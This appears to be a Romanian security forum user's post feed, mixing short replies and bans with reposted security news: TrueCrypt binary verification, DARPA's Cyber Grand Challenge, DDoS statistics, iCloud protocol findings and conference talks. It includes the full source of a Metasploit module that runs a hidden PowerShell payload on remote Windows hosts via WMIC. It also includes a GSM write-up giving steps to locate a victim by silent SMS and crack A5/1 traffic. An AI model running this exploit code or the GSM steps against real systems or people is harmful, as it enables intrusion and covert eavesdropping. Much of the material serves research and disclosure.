Nytro

Care sunteti din Bucuresti? Care ati veni la un meeting? Care ati veni maine (sambata) la bere? Daca nu vreti sa ziceti aici imi puteti da PM.

Super, mai scurt decat o carte

Si care sunt exploit-urile? Sunt publice, nu?

TrueCrypt is an open-source encryption software capable of on-the-fly encryption on file-, partition- or disk-based virtual disks. It supports various ciphers, including AES, Serpent, Twofish or some combination of them; provides a full disk encryption (FDE) feature under Windows environment with pre-boot authentication; and even allows plausible deniability. Hence TrueCrypt seems to be a perfect solution to protect sensitive files. However, the recent news about the NSA programs enable all conspiracy theorists to imagine the worst of all. What if TrueCrypt was backdoored? What if the binaries provided on the website were different than the source code and they included hidden features? We show in this article how to reproduce a deterministic compilation process specific to TrueCrypt 7.1a for Windows that matches the official binaries, and relieve the world from at least some concerns. [h=2]Article versions changelog[/h] 2013-10-24: Added analysis results of v7.0a and v6.3a 2013-10-23: Explained differences in more details, added assembly comparison 2013-10-22: Added PGP/X.509 screenshots, clarified some comparison comments 2013-10-21: First version [h=2]Challenges and implications[/h] TrueCrypt is a project that doesn't provide deterministic builds. Hence, anyone compiling the sources will get different binaries, as pointed by this article on Privacy Lover, saying that "it is exceedingly difficult to generate binaries from source that match the binaries provided by Truecrypt." This has led some speculations regarding the possibility of having backdoors in the official binaries that cannot be found easiliy. This concern has also been raised in this analysis, saying: "Without a very expensive “reverse engineering” it can't be proved that they are compiled from the published source code. Since we haven't done such a reverse engineering we can't preclude that there is a back door hidden within those binary packages." Recently, the IsTrueCryptAuditedYet project was launched and aims at reviewing TrueCrypt's security and, among other things, providing deterministic build so as to enable everyone to compare her version to the official one. However, it is still at an early stage (as of October 2013) and tries to raise funds first. In this article, I present how I compiled TrueCrypt 7.1a for Windows and reached a very close match to the official binaries. I am also able to explain the small remaining differences and then prove that the official binaries indeed come from the public sources. Articolul aici: https://madiba.encs.concordia.ca/~x_decarn/truecrypt-binaries-analysis/

[h=1]DARPA ANNOUNCES CYBER GRAND CHALLENGE[/h] What if computers had a “check engine” light that could indicate new, novel security problems? What if computers could go one step further and heal security problems before they happen? To find out, the Defense Advanced Research Projects Agency (DARPA) intends to hold the Cyber Grand Challenge (CGC)—the first-ever tournament for fully automatic network defense systems. DARPA envisions teams creating automated systems that would compete against each other to evaluate software, test for vulnerabilities, generate security patches and apply them to protected computers on a network. To succeed, competitors must bridge the expert gap between security software and cutting-edge program analysis research. The winning team would receive a cash prize of $2 million. “DARPA’s series of vehicle Grand Challenges were the dawn of the self-driving car revolution,” said Mike Walker, DARPA program manager. “With the Cyber Grand Challenge, we intend a similar revolution for information security. Today, our time to patch a newly discovered security flaw is measured in days. Through automatic recognition and remediation of software flaws, the term for a new cyber attack may change from zero-day to zero-second.” Highly trained experts capable of reasoning about software vulnerabilities, threats and malware power modern network defense. These experts compete regularly on a global “Capture the Flag” tournament circuit, improving their skills and measuring excellence through head-to-head competition. Drawing on the best traditions of expert computer security competitions, DARPA aims to challenge unmanned systems to compete against each other in a real-time tournament for the first time. “The growth trends we’ve seen in cyber attacks and malware point to a future where automation must be developed to assist IT security analysts,” said Dan Kaufman, director of DARPA’s Information Innovation Office, which oversees the Challenge. The competition is expected to draw teams of top experts from across a wide range of computer security disciplines including reverse engineering, formal methods, program analysis and computer security competition. To encourage widespread participation and teaming, DARPA plans to host teaming forums on the CGC website atwww.darpa.mil/cybergrandchallenge. For the first time, a cyber competition would take place on a network framework purpose-built to interface with automatic systems. Competitors would navigate a series of challenges, starting with a qualifying event in which a collection of software must be automatically analyzed. Competitors would qualify by automatically identifying, analyzing and repairing software flaws. DARPA intends to invite a select group of top competitors s from the qualifying event to the Cyber Grand Challenge final event, slated for early to mid-2016. In that competition, each team’s system would automatically identify software flaws, scanning the network to identify affected hosts. Teams would score based on how capably their systems could protect hosts, scan the network for vulnerabilities and maintain the correct function of software. The winning team from the CGC finals would receive a cash prize of $2 million, with second place earning $1 million and third place taking home $750,000. A Broad Agency Announcement (BAA) with specific information for potential competitors is available at http://go.usa.gov/WqcH. Competitors can choose one of two routes: an unfunded track in which anyone capable of fielding a capable system can participate, and a funded track in which DARPA awards contracts to organizations presenting the most compelling proposals. DARPA also plans in the near future to issue a second BAA for proposals to develop technologies to support the competition. Support technologies will include accessible visualization of a real-time cyber competition event, as well as custom problem sets. That BAA will be available on the Federal Business Opportunities website. The program anticipates hosting two Challengers’ Days—one at DARPA’s offices in Arlington, Va., and the other on the West Coast—where interested competitors can learn more about the event. More information, including up-to-date rules and prize amounts, is available at www.darpa.mil/cybergrandchallenge. Sursa: DARPA ANNOUNCES CYBER GRAND CHALLENGE — Knight And Gale

Eu sunt mai de la tara. Ban o saptamana.

The big GSM write-up – how to capture, analyze and crack GSM? Posted on October 13, 2013 by domi007 So. I had some requests asking me about how I did what I did with GSM. What tools did I use, what hardware and what options? Since I believe strongly that GSM needs to be “out in the hands of the people” meaning everybody should have access to cheap hardware and free, opensource software that helps understanding GSM in practice I thought I will create a series of write-ups describing the whole process from the beginning. Enjoy! First Step: understanding the basics of GSM, what’s the theory behind GSM-cracking? GSM (Global System for Mobile communication) was introduced as a standard in 1991. The cipher used in GSM hasn’t been really well known but already in 1994 Ross Anderson published a theory about how to crack the encryption. Later many people contributed to this theory essentially making GSM theoretically broken since 2003, but practical tools existed only for governmental organizations and mobile operators for such high prices nobody from the hacker community could buy them (not mentioning none of the manufacturers would have given him/her anything). And this was the time when Karsten Nohl decided to dedicate some years as a researcher and as a manager to create both software and hardware that could turn theory into reality. Every single year since 2009 Karsten and one member of his team released something, a milestone if you wish, which contributed to the death of myth that GSM is secure. But there was one problem: all the details could never be released because of the rules of ‘responsible disclosure’ meaning that you can not give access to anybody to tools that exploit unpatched vulnerabilities in a live system. And boy, GSM does have quite some of these. However during the years we always got something, a piece of the puzzle so to speak: 2009 – GSM rainbowtables with the tool Kraken (created by Frank A Stevenson) – they are useless without proper hardware that can capture GSM data but once we have the hardware cracking is possible 2010 – airprobe which makes it possible to capture non-hopping GSM downlink channels with the USRP (combined with Kraken we have a full downlink sniffer on a single cell) I am not listing 2011 here because there was no code released in that year (since the presented solution was a full blown GSM eavesdropping attack there was nothing to be released). So, the landscape of GSM hacking consists of two hardware options: USRP or OsmocomBB. The USRP costs a lot, OsmocomBB has pretty much no code available. My ideal setup would be a combination of these two: cheap hardware and software already available. Is there such a solution? Yes, there is. You can use an RTL-SDR stick to capture GSM data from the air, just like you would do with a USRP. It is not as accurate, it does lose sync sometimes, but it works. And not only for single transmissions (SMS) but also for calls. I tested both, and I can confirm that it works. So, now we have an established platform: we are going to sniff single frequency (non-hopping) GSM downlink-traffic. These are our limitations, airprobe is only capable of decoding the downlink and RTL-SDR isn’t capable of hopping along (although in theory you can use more sticks and lock each of them to a frequency and then re-construct the transmission by combining data from all dongles). BEFORE YOU CONTINUE: if you haver never done anything with GSM, don’t know what a ‘burst’ is, or never heard of a ‘timeslot’ please stop reading this post and read at least the first 4 chapters of this introduction: http://web.ee.sun.ac.za/~gshmaritz/gsmfordummies/intro.shtml UPDATE: The page I referenced here went offline, so here is a PDF containing all its content. Steps to crack GSM (originally outlined by Karsten Nohl): Get the TMSI of the victim Analyze the cell you and the victim are camping on Capture traffic and use the results of your analysis to construct input data for Kraken Use Kraken to crack the key Use the key to decode the data you captured Get the TMSI of the victim TMSI stands for Temporary Mobile Subscriber Identifier which is used on GSM networks to avoid the transmission of any information that would possibly identify a certain person (customer). We need to know this ID so we can tell when the victim is being paged (meaning that he/she is going to receive something from the network – call or SMS). The idea behind uncovering a TMSI is quite simple: if the victim receives anything from the network he/she will get paged. So if we keep sending something to the victim (call/SMS) we can correlate the pagings we observe on the air with the frequency of the transactions we initiate. (this technique was first presented at 27c3 by Sylvain Munaut) The ideal “thing” to send is a silent SMS: it will not show up at all on the victim’s phone (no sound, no notification, nothing) but we will get an acknowledge from the victim saying that our SMS was delivered. Example scenario: we observe pagings and figure out that they page twice for each transaction, so if we send 3 silent messages there should be a TMSI which has been paged 6 times. By altering the number of messages sent we can quickly distinguish false positives from the real answers. Test results: I actually did this attack at Hacktivity with a room full of people (meaning that the cell serving us was quite busy) and on my first attempt using 3 messages I only got two results back (meaning one of them was a false positive). Repeating the process would probably eliminate the false positive easily (there is very little chance that the same false positive would show up). Analyze the cell Since GSM cracking is based on knowing the content of encrypted bursts we need to figure out some information about the cell’s configuration. But wait you might say, what’s the point of this, ‘knowing the content of encrypted bursts’ renders encryption useless, doesn’t it? Yes and no. Of course if you know the content of something that is encrypted there is no point in encryption. But in case of GSM it isn’t so simple: there are some bursts that are transmitted periodically, usually containing information about the system (System Information bursts). The only rule about these bursts is that they need to be transmitted no matter what. Even if the connection is currently encrypted these bursts will be transmitted (naturally in encrypted form). So if we keep looking at the cell’s broadcast channel we can easily find a pattern which could be for example something like this Paging Request for TMSI 11223344 Paging Request for TMSI 55667788 System Information Type 6 Empty Burst Paging Request for TMSI 99887766 Paging Request for TMSI 00112233 System Information Type 5 Empty Burst Paging Request containing TMSI 77001122 Paging Request containing TMSI 66005577 System Information Type 1 Empty Burst and so on. As you can see the pattern repeats itself, just the type of the System Information changes, but for example there is always an empty burst at the end. This is just a fictional pattern but I hope you see the idea: some of these bursts are transmitted even if the connection is encrypted. So if we look at the cell’s traffic, save the cleartext of a System Information Type 5 message, then capture some encrypted data containing the same message we can do: cleartext System Information Type 5 XOR encrypted System Information Type 5 The result is the so called keystream (that comes out of the encryption function A5/1). Guess what do we need to feed our cracker, Kraken with? Yep, A5/1 keystream. The challenge of course is to determine which burst of all the encrypted ones is the one containing in this case the System Information Type 5 message (again, we could have chosen any other message which has a known content). That’s why we need to analyze the cell’s configuration and make maybe one-two test calls to see the call setup. Usually the call setup always happens the same way, so once you figured out what messages are sent during a call-setup you can safely assume that the same messages will be transmitted whenever there is a call-setup. Using Kraken That’s pretty straight forward: download the 1.6 TB of rainbow-tables, write them out to a hard drive and then fire up Kraken. After it is ready just give it the crack command followed by the burst you would like to crack, like this: Kraken> crack 001101110011000000001000001100011000100110110110011011010011110001101010100100101111111010111100000110101001101011 Decrypting traffic Since GSM could be running in many different configurations you might need to try out more config. options of the tool go.sh to get it working properly. Otherwise there isn’t anything fancy about this step, all you need to do is pretty much giving it the key, the filename and ‘let it do the magic’. This is the end of the first part of the series. I covered just the history of GSM hacking, what hardware do we have to do GSM hacking and basic theory behind the attack. In the next part we are going to set up our environment, then start real hacking with it. Stay tuned! Sursa: The big GSM write-up – how to capture, analyze and crack GSM? – 1. | Going on my way…

Attackers use smaller botnets to launch high-bandwidth attacks DDoS perpetrators changed tactics in Q3 2013 to boost attack sizes and hide their identities, according to Prolexic. "This quarter, the major concern is that reflection attacks are accelerating dramatically, increasing 265 percent over Q3 2012 and up 70 percent over Q2," said Stuart Scholly, president of Prolexic. "The bottom line is that DDoS attackers have found an easier, more efficient way to launch high bandwidth attacks with smaller botnets and that's concerning." Attackers are flocking to so-called distributed reflection denial of service (DrDoS) attacks as they provide the benefit of obscuring the source of the attack (anonymity), while enabling the bandwidth of intermediary victims to be used, often unknowingly, to multiply the size of the attack (amplification). In DrDos attacks, there are always two victims, the intended target and the intermediary. The total number of attacks against Prolexic clients in Q3 2013 remained high and represented the highest total for one quarter. This occurrence illustrates a consistently heightened level of DDoS activity around the world over the last six months. Of note, more than 62 percent of Q3 DDoS attacks originated from China, far surpassing all other countries. For the quarter, peak bandwidth averaged 3.06 Gbps and peak packets-per-second (pps) averaged 4.22 Mpps. The largest attack Prolexic mitigated during Q3 was directed at a European media company, peaking at 120 Gbps. Compared to Q2 2013: 1.58 percent increase in total DDOS attacks 6 percent decrease in application layer (Layer 7) attacks 4 percent increase in infrastructure (Layer 3 & 4) attacks 44 percent decrease in the average attack duration: 21.33 hours vs. 38 hours. Compared to Q3 2012: 58 percent increase in total DDOS attacks 101 percent increase in application layer (Layer 7) attacks 48 percent increase in infrastructure (Layer 3 & 4) attacks 12.3 percent increase in the average attack duration: 21.33 hours vs. 19 hours. Prolexic data for Q3 2013 shows a 70 percent increase in reflection attacks (DNS and CHARGEN) over the previous quarter and a 265 percent increase over the same quarter last year. This rise in DrDoS attacks should come as no surprise, as attack methods that inflict high damage with low effort will always be popular. "DrDoS attacks don't require as many bots because the amplification factor is so large," explained Scholly. "Because less outbound bot traffic is needed, the botnet can be much smaller. This makes it easier for these botnets to fly under the radar unless you know what to look for." Sursa: Attackers use smaller botnets to launch high-bandwidth attacks

Confessions of a Zero Day Initiative Bug Hunter Brian_Gorenc| October 23, 2013 A lot of people would argue that making a living out of solo, full-time bug hunting for the Zero Day Initiative is hard. It can be stressful at times, just like any other job, and if anything, it requires more dedication – a lot more. However, from my personal experience, it’s fun. Motivation The first bug I submitted to the Zero Day Initiative (ZDI) program was on 2005-10-02, and it was refused. At the time, the ZDI program was not interested in that specific product. The first bug that I submitted to the ZDI that was purchased was on 2009-08-01, and it changed my perception of bug bounty programs. It was much more rewarding than I expected. Back then, ZDI bought that first bug for approximately $2k - which was more than I earned in an entire month working in Lebanon. It seemed that this bug-hunting game could be quite rewarding, so I did it again and sold my second bug to ZDI. I loved this idea, and I remember wanting to quit my job and hunt for bugs full-time. Later, I was given this opportunity when I moved to Canada for personal reasons. Finding a job in Canada was a bit hard due to the French and Canadian experience requirements (of which I had none). So luckily, this was my chance to bug hunt full-time. I spent a year and a half as a bug hunter, submitting to ZDI and other bug bounty programs and made a decent living at it. Of course, there’s more to bug hunting than just the money. Being credited for finding a bug is equally rewarding, and it helps to build your profile. Picking targets Initially, I started picking soft targets—this allowed me to find bugs fast and maintain a stable income. A “stable income” means finding at least 3 bugs per month. I usually checked ZDI’s list of selected vendors and then made my pick. Today, I would look at the ZDI published advisory page for guidance on which targets to audit. It’s always frustrating when you spend some time auditing a product, and then you submit a bug and it gets refused because the bounty program isn’t interested in that product. I would sometimes submit a bug, and then if it was accepted, I would go ahead and audit for more. You can also email the bounty program and ask them if they’re interested in a certain product before you do any auditing. At the time, I mainly focused on IBM/SAP/HP/Citrix and had some success finding bugs in their products. Most of my initial vulnerability discoveries were in server side products. As I got better, I started exploring client side applications and spent a lot of time reversing Microsoft Internet Explorer. Good reports vs. bad reports As a researcher, I’m an example of someone who used to submit bad reports. I got better over time, and I’ve learned a lot since I started. Submitting good reports to bounty programs increases the potential bounty, and decreases the analysis time required by the bounty program (so it’s good for everyone). Some bounty programs are willing to provide feedback on bugs/reports you’ve submitted. This feedback can be a really helpful resource, and can teach you a lot about research. I’ve had a lot of bad reports back in the days—here’s one of my awesome bad ones (this has been disclosed and was a duplicate of another ZDI submission at the time): CA XOsoft Replication and High Availability r12.5 pre-auth buffer overflow Overview: From the vendors site:"Whether you're looking to ensure the business continuity of your Microsoft Exchange, Microsoft SQL, Microsoft IIS, Oracle or any other file or application server, CA XOsoft solutions will provide you with just the level of disaster immunity and application availability you need." The Bug: XOsoft fails to handle exceptional conditions when sending a long domain/username in the login form of its web application. The bug exists in mng_core, which is loaded by ws_man.exe the CA XOSoft control service that listens on TCP 8088. When sending a long domain/username a SEH will be overwritten. When an exception happens our SEH kicks in thus controlling execution. A snip of the SEH chain is as follows that shows a SEH has been overwritten: SEH chain of thread 000009D0 Address SE handler 030BFF58 mng_core.036691A1 030C385C 41414141 The exception happens here: 03522118 8B06 MOV EAX,DWORD PTR DS:[ESI] 0352211A 8B50 50 MOV EDX,DWORD PTR DS:[EAX+50] //boom, where EAX is controlled. Please find attached a PoC for this issue. Regards, This report clearly showed that XOsoft had an issue but was missing several key items that would have resulted in a quicker turnaround time and a higher bounty. I could have provided better information about the root cause for the crash and the exact reason it happened. In addition to this, I could have provided a description of the protocol used and any additional vectors to reach this vulnerable code. So what does a good report look like? Ideally, a good report is composed of the following details: Program version Download link Tools used to find/debug the bug Where/why the crash happened Exploitability PoC Exploit (optional) In future blog posts, I will go over some of my more complete reports and provide tips to get the most out of the Zero Day Initiative. -- Abdul-Aziz Hariri, HP Security Research Sursa: Confessions of a Zero Day Initiative Bug Hunter - HP Enterprise Business Community

Da, m-am gandit si eu la aceasta posibilitate, ar fi frumos un research foarte detaliat despre subiect. Iar TrueCrypt nu e singura bucata care ar trebui analizata astfel. As pleca chiar de la kernel (Linux)...

Superb, cu poze, poate macar asa se uita lumea peste el.

Apple's iCloud cracked: Lack of two-factor authentication allows remote data download Summary: Notorious Russian hacker Vladimir Katalov released findings showing Apple's iCloud vulnerable to unauthorized download access, with iCloud data stored on Microsoft and Amazon servers. By Violet Blue for Zero Day | October 21, 2013 (Image: Violet Blue/ZDNet) KUALA LUMPUR, MALAYSIA — Russian security researcher Vladimir Katalov analyzed Apple's secretive iCloud and Find My Phone protocols to discover that neither are protected by two-factor authentication, and iCloud data can be downloaded remotely without a user ever knowing. In "Cracking and Analyzing Apple’s iCloud Protocols," presented to a crowded room at Hack In The Box security conference last Thursday in Kuala Lumpr, Malaysia, Vladimir Katalov revealed that user information and data is not as inaccessible as Apple is telling the public. Katalov's findings appear to support his emphatic statement that Apple can access data it claims to not be able to access. A malicious attacker only needs an Apple ID and password to perform remote iCloud backups — and do not need the user's linked devices. He explained that there is no way for a user to encrypt their iCloud backups. The data is encrypted, he explained, but the keys are stored with the data. Katalov added that Apple holds the encryption keys. Katalov told ZDNet he was shocked to discover that in addition to all of these security chain issues, Apple's iCloud data is stored on Microsoft and Amazon servers. Katalov's presentation pointed out that because Apple provides full request information to its third-party storage providers (Amazon and Microsoft), Apple could provide this data to law enforcement. In Apple's July public statement on the NSA PRISM surveillance program, Apple denied any backdoor server access for government agencies. Apple unequivocally stated, "Apple does not give law enforcement access to its servers." When a user performs an iCloud backup download, they receive an email informing the user that the process is complete. Katalov discovered that when a remote download is performed, the user receives no notification email. If a user's data is accessed and downloaded from iCloud by a remote third party, they would not know. Katalov's work represents the first time anyone has analyzed and publicly presented findings on Apple's secretive iCloud protocol. Vladimir Katalov analyzed Apple's iCloud and Find My Phone protocols by sniffing http traffic on jailbroken devices — though he was careful to explain that a user's devices do not need to be jailbroken for a malicious entity to exploit the remote backup protocol security omissions Katalov discovered. Analyzing the traffic, he told the crowded room during his Thursday presentation, was not difficult. Apple's iCloud data is comprised of what a user stores as a data backup. It contains documents, Dropbox files and sensitive user data. In his analysis, Katalov discovered that iCloud files are stored as a container — plist and content — in a files-to-chunks mapping schema. But he found that Apple's two-factor authentication, a layer of user security used in addition to a username and password, is not used for iCloud backups (or Find My Phone). (Image: Violet Blue/ZDNet) Apple's two-step authentication ("2FA") does not protect iCloud backups, Find My Phone data and the documents stored in the cloud. Katalov details this further in a blog post: "Apple Two-Factor Authentication and the iCloud." Katalov showed Hack In The Box attendees that with simple queries, it's possible to get the authentication token for accessing the iCloud backup, backup IDs, and the encryption keys. Then one can download the files from where they're stored in Windows Azure or Amazon AWS. ZDNet caught up with Katalov after his presentation to find out more. When asked if he had presented his discoveries to Apple, he explained that his findings were the results of protocol analysis — and are not a vulnerability. Put another way, the iCloud security hole falls into the "it's a feature, not a bug" category. (Image: Violet Blue/ZDNet) When ZDNet asked Katalov if there was a way for Apple to fix this issue — such as extending two-factor authentication to its iCloud and Find My Phone services — he shook his head and told us that Apple's implementation of two-factor auth was likely "only an afterthought." Katalov told ZDNet the best thing a user can to do to protect their iCloud data is to simply not use iCloud. However, Katalov told us he still uses Apple's iCloud as a backup service. "It is not exactly safe, but I am selecting between security and privacy," he said. It's easy to argue that because a remote attacker needs an Apple user ID and password, the data is still out of reach to most malicious entities. However, obtaining Apple user IDs and passwords isn't impossible — aside from email phishing techniques, which are more effective than most would believe. Social engineering techniques are sadly common and also very effective. A recent example is the spate of Apple ID data thefts in Norway. This past February, a significant number of teenage girls were targeted by boys who easily surmised the girl's user ID and password recovery information to gain access to their Apple accounts, download photos and the girls' data — which, sadly, ended up pass around and also sold online. In his Hack In The Box presentation, Katalov told the audience that he was also surprised to discover that when a user shuts off location tracking services, the user's location is still stored for around 3-6 hours. We wondered if this is what led Katalov to mention that next he will analyze Touch ID protocol and storage — as soon as iOS 7 is jailbroken, he told ZDNet. "Apple says it never sends the information, and it is never copied to local [storage]" he added, "but I am not so sure." ZDNet asked why Katalov felt this way, when Apple specifically states that it does not transmit Touch ID information. Katalov's eyes glittered, and a boyish smile crept across his face. In his thick Russian accent he replied, "Trust no one." ZDNet has contacted Apple for comment and will update this article if Apple responds. Sursa: Apple's iCloud cracked: Lack of two-factor authentication allows remote data download | ZDNet

Windows Management Instrumentation (WMI) Remote Command Execution Authored by Ben Campbell | Site metasploit.com This Metasploit module executes powershell on the remote host using the current user credentials or those supplied. Instead of using PSEXEC over TCP port 445 we use the WMIC command to start a Remote Procedure Call on TCP port 135 and an ephemeral port. Set ReverseListenerComm to tunnel traffic through that session. The result is similar to psexec but with the added benefit of using the session's current authentication token instead of having to know a password or hash. We do not get feedback from the WMIC command so there are no indicators of success or failure. The remote host must be configured to allow remote Windows Management Instrumentation. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell def initialize(info={}) super( update_info( info, 'Name' => 'Windows Management Instrumentation (WMI) Remote Command Execution', 'Description' => %q{ This module executes powershell on the remote host using the current user credentials or those supplied. Instead of using PSEXEC over TCP port 445 we use the WMIC command to start a Remote Procedure Call on TCP port 135 and an ephemeral port. Set ReverseListenerComm to tunnel traffic through that session. The result is similar to psexec but with the added benefit of using the session's current authentication token instead of having to know a password or hash. We do not get feedback from the WMIC command so there are no indicators of success or failure. The remote host must be configured to allow remote Windows Management Instrumentation. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], 'References' => [ [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) [ 'OSVDB', '3106'], [ 'URL', 'http://passing-the-hash.blogspot.co.uk/2013/07/WMIS-PowerSploit-Shells.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => '15', }, 'DisclosureDate' => 'Jan 01 1999', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0 )) register_options([ OptString.new('SMBUser', [ false, 'The username to authenticate as' ]), OptString.new('SMBPass', [ false, 'The password for the specified username' ]), OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]), OptAddressRange.new("RHOSTS", [ true, "Target address range or CIDR identifier" ]), # Move this out of advanced OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']) ]) end def exploit if datastore['SMBUser'] and datastore['SMBPass'].nil? fail_with(Failure::BadConfig, "Need both username and password set.") end Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server| # TODO: CHECK WMIC Access by reading the clipboard? # TODO: wmic /output:clipboard # TODO: Needs to be meterpreter ext side due to threading # Get the PSH Payload and split it into bitesize chunks # 1024 appears to be the max value allowed in env vars psh = cmd_psh_payload(payload.encoded).gsub("\r\n","") psh = psh[psh.index("$si")..psh.length-1] chunks = split_code(psh, 1024) begin print_status("[#{server}] Storing payload in environment variables") env_name = rand_text_alpha(rand(3)+3) env_vars = [] 0.upto(chunks.length-1) do |i| env_vars << "#{env_name}#{i}" c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m" wmic_command(server, c) end x = rand_text_alpha(rand(3)+3) exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''" env_vars.each do |env| exec_cmd << "+$env:#{env}" end exec_cmd << ";IEX $#{x};" print_status("[#{server}] Executing payload") wmic_command(server, exec_cmd) print_status("[#{server}] Cleaning up environment variables") env_vars.each do |env| cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f" wmic_command(server, cleanup_cmd) end rescue Rex::Post::Meterpreter::RequestError => e print_error("[#{server}] Error moving on... #{e}") next ensure select(nil,nil,nil,2) end end end def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass']) userpass = "" unless user.nil? if domain.nil? userpass = "/user:\"#{user}\" /password:\"#{pass}\" " else userpass = "/user:\"#{domain}\\#{user}\" /password:\"#{pass}\" " end end return userpass end def wmic_command(server, cmd) wcmd = "wmic #{wmic_user_pass_string}/node:#{server} process call create \"#{cmd.gsub('"','\\"')}\"" vprint_status("[#{server}] #{wcmd}") # We dont use cmd_exec as WMIC cannot be Channelized ps = session.sys.process.execute(wcmd, "", {'Hidden' => true, 'Channelized' => false}) select(nil,nil,nil,0.1) end def split_code(psh, chunk_size) array = [] idx = 0 while (idx < psh.length) array << psh[idx, chunk_size] idx += chunk_size end return array end end Sursa: Windows Management Instrumentation (WMI) Remote Command Execution ? Packet Storm

[h=2]stresslinux[/h] [h=2]Welcome to stresslinux[/h] [h=3]What is stresslinux[/h] stresslinux is a minimal linux distribution running from a bootable cdrom, usb, vmware or via PXE (wip). stresslinux makes use of some utitlities available on the net like: stress, cpuburn, hddtemp, lm_sensors ... stresslinux is dedicated to users who want to test their system(s) entirely on high load and monitoring the health. [h=3]Who needs it[/h] Stresslinux is for people (system builders, overclockers) who want to test their hardware under high load and monitor stability and thermal environment. You should be familiar with linux console because stresslinux comes without a graphical user interface. [h=3]Where to start[/h] Downloads Docs: FAQ, Documentation, Software Community: Forum, Reviews, ?Facebook, ?Google+ [h=3]Screenshots[/h] [h=3]You like stresslinux and want to say thanks[/h] Sursa: Stresslinux

Hack3rcon 4 - Character Assassination: Fun And Games With Unicode - Adrian Crenshaw Description: This talk will cover some of the general security considerations of Unicode. Homoglyph attacks, punycode, shellcode, stego, etc. Adrian Crenshaw Adrian Crenshaw has worked in the IT industry for the last fifteen years. He runs the information security website Irongeek.com, which specializes in videos and articles that illustrate how to use various pen-testing and security tools. He did the cert chase for awhile (MCSE NT 4, CNE, A+, Network+. i-Net+) but stopped once he had to start paying for the tests himself. He's currently working on a Masters in Security Informatics, and is interested in obtaining a network security/research/teaching job in academia (though he's beginning to think that the corporate world has a better grasp on ethics/academic freedom). He is also one of the co-founders of Derbycon. For More Information please visit : - Hack3rCon^4 - Eye of the Storm Hack3rcon 4 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Hack3rcon 4 - Character Assassination: Fun And Games With Unicode - Adrian Crenshaw

Hack3rcon 4 - Ms08-067 Under The Hood - John Degruyter Description: The purpose of this talk is to get a better understanding of using a debugger and looking at the low-level process of exploiting a software vulnerability. We will be visiting our faithful old friend, ms08_067. First, we will look at the structure of the metasploit module and the functions that make it up. Then we will move to the victim’s system where we will be firing up a debugger and taking a look at the vulnerable process, library and function. Next, we will launch the metasploit module from our attack system and watch the memory corruption. Finally, we’ll follow the exploit as it disables DEP in the acgenral.dll module and then finally jump to our shellcode for a win. Speakers John Degruyter For More Information please visit : - Hack3rCon^4 - Eye of the Storm Hack3rcon 4 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Hack3rcon 4 - Ms08-067 Under The Hood - John Degruyter

Hack3rcon 4 - Advanced Evasion Techniques - Pwning The Next Generation Security Products (Keynote) - David Kennedy Description: We know anti-virus is dead, there's no more beating it with a stick and it's easy to get around. What about the next set of security products and how do they actually work. Preventive technology is advancing and the attacks are getting slightly harder (albeit not much). This talk goes into advanced evasion techniques for getting around some of the new pieces of technology that we face out there. Everything from Next Generation technologies, virtualization technologies, application firewalls, and more - this talk will show how to effectively test and identify how to best get around what we're seeing out there. It's time to pwn the next generation of security product lines. David Kennedy (@dave_rel1k) is founder and principal security consultant of TrustedSec - An information security consulting firm located in Cleveland Ohio. David was the former Chief Security Officer (CSO) for a Fortune 1000 where he ran the entire information security program. Kennedy is a co-author of the book "Metasploit: The Penetration Testers Guide," the creator of the Social-Engineer Toolkit (SET), and Artillery. Kennedy has presented on a number of occasions at Black Hat, Defcon, ShmooCon, BSIDES, Infosec World, Notacon, AIDE, ISACA, ISSA, Infragard, Infosec Summit, Hack3rCon and a number of other security-related conferences. Kennedy has been interviewed by several news organizations including CNN, Fox News, and BBC World News. Kennedy was formally on the Back|Track development team and Exploit-DB team and co-host of the Social-Engineer.org podcast. Kennedy is one of the co-authors of the Penetration Testing Execution Standard (PTES); a framework designed to fix the penetration testing industry. Kennedy is the co-founder of DerbyCon, a large-scale conference in Louisville Kentucky. Prior to Diebold, Kennedy was a VP of Consulting and Partner of a mid-size information security consulting company running the security consulting practice. Prior to the private sector, Kennedy worked for the United States Marine Corps and deployed to Iraq twice for intelligence related missions. For More Information please visit : - Hack3rCon^4 - Eye of the Storm Hack3rcon 4 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Hack3rcon 4 - Advanced Evasion Techniques - Pwning The Next Generation Security Products (Keynote) - David Kennedy

S-a rezolvat problema...

Tocmai pentru a preveni milogi ca tine era inchisa. Ban.

Ban. Fara milogeli azi.

Super. Noi, muritori de rand, nu putem face mare lucru. Dar daca isi pun pe cap o gramada de state, poate o sa se faca ceva.

Da, spam. Te invarti cu masina prin oras si trimiti mesaje in disperare.

